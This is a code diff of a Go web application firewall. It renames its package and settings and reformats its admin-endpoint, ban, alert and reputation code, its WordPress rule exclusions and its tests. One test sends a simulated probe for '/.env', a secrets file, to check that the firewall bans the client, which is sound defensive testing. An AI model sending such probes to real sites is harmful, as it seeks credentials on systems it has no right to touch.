# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -1,7 +1,7 @@
package waf package discriminator
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY, // The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION. // SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
import ( import (
"context" "context"
@@ -16,21 +16,17 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with // abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request // the score, when its score of the client is a hit, and refuses the request
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While // when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is // SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts // checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then // an offence, and the request does not wait for the answer. The score is then
// used for each address of the client. Its figures are the score and // used for each address of the client. Its figures are the score and
// SWW_WAF_ABUSEIPDB_MIN_SCORE. // SWW_ABUSEIPDB_MIN_SCORE.
type abuseIPDB struct{} type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" } func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check( func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.config.AbuseIPDBKey == "" { if rq.h.config.AbuseIPDBKey == "" {
return nil return nil
} }
@@ -46,15 +42,10 @@ func (abuseIPDB) check(
rq.abuseIPDBHit = true rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag) rq.addTag(config.AbuseIPDBTag)
rq.noteHit( rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
bans.ReputationHit{ "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
Source: reputation.AbuseIPDBSource,
Score: &score,
},
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.DNSBLAbuseIPDBAction != deny { if rq.h.config.ReputationAction != deny {
return nil return nil
} }
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"bytes" "bytes"
@@ -31,8 +31,7 @@ var (
errNotBanToAdd = errors.New( errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason") "the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New( errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24", "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
)
errMappedNetblock = errors.New( errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have") errZone = errors.New("has a zone, which a netblock cannot have")
@@ -50,9 +49,9 @@ func (rq *request) answerHealth() {
_, _ = io.WriteString(rq.out, "ok\n") _, _ = io.WriteString(rq.out, "ok\n")
} }
// answerAdmin answers a request for one of waf's own endpoints. Each // answerAdmin answers a request for one of discriminator's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics // needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is // SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other // refused with 401. An endpoint whose token is unset answers 404, as any other
// path does. // path does.
func (rq *request) answerAdmin() { func (rq *request) answerAdmin() {
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
switch { switch {
case token == "": case token == "":
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error( http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
rq.out,
http.StatusText(http.StatusUnauthorized),
http.StatusUnauthorized,
)
default: default:
answer() answer()
} }
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with // readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes. // nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) { func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll( data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
)
rq.requestBytes = int64(len(data)) rq.requestBytes = int64(len(data))
if err != nil { if err != nil {
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
// Token returns io.EOF only when nothing but whitespace is left. // Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token() _, err = decoder.Token()
if !errors.Is(err, io.EOF) { if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf( return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
"%w: more follows the object",
errNotBanToAdd,
)
} }
return toAdd, nil return toAdd, nil
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value) netblock, err := netip.ParsePrefix(value)
if err == nil { if err == nil {
if netblock.Addr().Is4In6() { if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
"netblock %q %w",
value,
errMappedNetblock,
)
} }
return netblock, nil return netblock, nil
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
// 2001:db8::1%x/48 as part of the zone. // 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value) addr, err := netip.ParseAddr(value)
if err != nil { if err != nil {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
"netblock %q %w",
value,
errNotNetblock,
)
} }
if addr.Zone() != "" { if addr.Zone() != "" {
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
length, err := config.ParseDurationNotOff(duration) length, err := config.ParseDurationNotOff(duration)
if err != nil { if err != nil {
return time.Time{}, fmt.Errorf( return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
"duration %q %w",
duration,
errNotDuration,
)
} }
return now.Add(length), nil return now.Add(length), nil
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
lifted := rq.h.ledger.Lift(client, rq.h.now()) lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 { if len(lifted) == 0 {
http.Error( http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
rq.out,
"no ban is active on "+client.String(),
http.StatusNotFound,
)
return return
} }
@@ -280,7 +250,7 @@ type clientAnswer struct {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
// showClient answers GET ClientsPath<ip> with what waf knows of the client: // showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
// its counters, its history, which holds its country as last looked up and its // its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes. // offences, and its bans with their notes.
func (rq *request) showClient() { func (rq *request) showClient() {
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
return return
} }
answer := clientAnswer{ answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen { if seen {
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
func (rq *request) answerJSON(value any) { func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ") body, err := json.MarshalIndent(value, "", " ")
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
"encoding an answer failed",
"error",
err.Error(),
)
http.Error(rq.out, http.StatusText(http.StatusInternalServerError), http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError) http.StatusInternalServerError)
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -10,15 +10,15 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/state" "sneak.berlin/go/smallwebwaf/internal/state"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer // adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it. // how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210" adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret adminBearer = "Bearer " + adminSecret
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel() t.Parallel()
// The metrics token is set, and opens none of them. // The metrics token is set, and opens none of them.
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
t, server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
"", bans.Notes{})
map[string]string{metricsToken: token},
)
server.Ledger.BanForLimit(
netip.MustParsePrefix(otherClient+"/32"),
clk.Now(),
bans.Notes{},
)
before := server.Ledger.Snapshot() before := server.Ledger.Snapshot()
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
authorization,
e.method,
e.path,
e.body,
http.StatusNotFound,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf( t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
"the bans are now\n%+v\nwant them unchanged\n%+v",
after,
before,
)
} }
} }
@@ -84,54 +67,32 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{ for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
authorization, http.StatusUnauthorized)
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
if got.header.Get("WWW-Authenticate") != "Bearer" { if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf( t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
"%s %s with %q was answered without WWW-Authenticate: Bearer", e.method, e.path, authorization)
e.method,
e.path,
authorization,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual( if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
after, t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
before, e.method, e.path, after, before)
) {
t.Errorf(
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method,
e.path,
after,
before,
)
} }
got := s.admin(e.method, e.path, e.body, http.StatusOK) got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" { if got.header.Get("Content-Type") != "application/json" {
t.Errorf( t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
"%s %s answered %q",
e.method,
e.path,
got.header.Get("Content-Type"),
)
} }
} }
// Any other request under /_sww/ is not found. // Any other request under /_sww/ is not found.
for _, e := range []adminEndpoint{ for _, e := range []adminEndpoint{
{http.MethodPut, waf.BansPath, banOtherClient}, {http.MethodPut, discriminator.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath, ""}, {http.MethodDelete, discriminator.BansPath, ""},
{http.MethodGet, waf.BansPath + "/" + otherClient, ""}, {http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodPost, waf.ClientsPath + otherClient, ""}, {http.MethodPost, discriminator.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""}, {http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
} { } {
s.admin(e.method, e.path, e.body, http.StatusNotFound) s.admin(e.method, e.path, e.body, http.StatusNotFound)
} }
@@ -157,14 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
Reason: "probes for logins", Reason: "probes for logins",
} }
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient, wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
http.StatusOK), want) http.StatusOK), want)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
} }
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused. // Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1 want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans( wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// Ten minutes on, lifting the bans on client lifts that one, which is // Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted. // kept, marked lifted.
@@ -185,22 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
lifted := clk.Now() lifted := clk.Now()
want.Lifted = &lifted want.Lifted = &lifted
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
http.StatusOK), want) http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans( wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// No ban on it is active any more. // No ban on it is active any more.
s.admin( s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
http.MethodDelete,
waf.BansPath+"/"+client,
"",
http.StatusNotFound,
)
} }
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n" "\r\n"
want := state.BanEntry{ want := state.BanEntry{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
tc.want,
), Start: start, Cause: bans.CauseAdmin,
} }
if tc.length != 0 { if tc.length != 0 {
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires want.Expires = &expires
} }
wantBans( wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
t, want)
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want,
)
} }
} }
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
t,
"",
map[string]string{adminToken: adminSecret},
)
for _, tc := range []struct{ body, want string }{ for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"}, {"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -316,15 +251,10 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
"request body too large", "request body too large",
}, },
} { } {
got := s.admin(http.MethodPost, waf.BansPath, tc.body, got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
http.StatusBadRequest) http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) { if !strings.Contains(string(got.body), tc.want) {
t.Errorf( t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
"%.80s was answered %q, want it to say %q",
tc.body,
got.body,
tc.want,
)
} }
} }
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it. // limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
// Asked about by its address in IPv6 form too. // Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} { for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -359,7 +285,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "", decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
http.StatusOK), &got) http.StatusOK), &got)
if got.Client == nil { if got.Client == nil {
@@ -376,27 +302,21 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" || got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 { got.Bans[0].Notes.Count != 3 {
t.Errorf( t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
"%s: bans %+v, want the one for the broken limit",
addr,
got.Bans,
)
} }
} }
// Of an address no request came from and no ban covers, nothing is // Of an address no request came from and no ban covers, nothing is
// known. // known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "", got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
http.StatusOK) http.StatusOK)
if string( if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
got.body,
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body) t.Errorf("an unknown client is answered\n%s", got.body)
} }
s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "", s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
http.StatusBadRequest) http.StatusBadRequest)
s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "", s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
http.StatusBadRequest) http.StatusBadRequest)
} }
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}) })
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
"",
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
} }
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -423,24 +337,24 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
} }
} }
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens. // adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
type adminEndpoint struct { type adminEndpoint struct {
method, path, body string method, path, body string
} }
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN // adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the // opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient. // bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint { func adminEndpoints() []adminEndpoint {
return []adminEndpoint{ return []adminEndpoint{
{http.MethodGet, waf.BansPath, ""}, {http.MethodGet, discriminator.BansPath, ""},
{http.MethodPost, waf.BansPath, banOtherClient}, {http.MethodPost, discriminator.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath + "/" + otherClient, ""}, {http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodGet, waf.ClientsPath + otherClient, ""}, {http.MethodGet, discriminator.ClientsPath + otherClient, ""},
} }
} }
// admin sends a request with method for path, with body, to waf's own // admin sends a request with method for path, with body, to discriminator's own
// address, with the admin token, and checks that it is answered with status, its // address, with the admin token, and checks that it is answered with status, its
// log line's action own_endpoint. It returns the answer. // log line's action own_endpoint. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer { func (s *sender) admin(method, path, body string, status int) answer {
@@ -456,7 +370,7 @@ func (s *sender) ownEndpointRequest(
) answer { ) answer {
s.t.Helper() s.t.Helper()
req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body)) req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
if authorization != "" { if authorization != "" {
req.Header.Set("Authorization", authorization) req.Header.Set("Authorization", authorization)
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,13 +10,13 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL" alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR" alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives. // alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/blog" alertInstance = "fsn1app1/blog"
) )
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
}, requestlog.FormatTime(start.Add(time.Hour)))) }, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf( t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
"the alert's notes are %+v, want those of the broken limit",
ban.Notes,
)
} }
} }
@@ -57,7 +54,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes // The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing. // the ban permanent. The request after that changes nothing.
s.request( s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
attackBan := server.Ledger.Bans(netblock)[0] attackBan := server.Ledger.Bans(netblock)[0]
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
otherBans := server.Ledger.Bans(other) otherBans := server.Ledger.Bans(other)
wantAlerts( wantAlerts(t, queue,
t,
queue,
attackAlert(alerts.EventBan, start, client, attackBan, attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))), requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"), permanentBan, "permanent"),
attackAlert( attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
alerts.EventBan, requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
start.Add(time.Minute), attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherClient, otherBans[1], "permanent"),
otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
),
attackAlert(
alerts.EventPermanentBan,
start.Add(time.Minute+7*24*time.Hour),
otherClient,
otherBans[1],
"permanent",
),
) )
} }
@@ -121,18 +101,14 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
// A ban for a clear sign of attack, which a request under it would make // A ban for a clear sign of attack, which a request under it would make
// permanent. // permanent.
group := netip.MustParsePrefix(ipv6Group) group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack( attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
group,
start,
bans.Notes{RuleID: "probe"},
)
// The third request breaks the limit, and so does the fourth, within the // The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack. // cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
held := server.Ledger.Snapshot() held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) { line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf( t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"the ledger holds %+v, and the log line gives %s, want the ban "+ "for the attack alone, as it was", held, line.BanExpires)
"for the attack alone, as it was",
held,
line.BanExpires,
)
} }
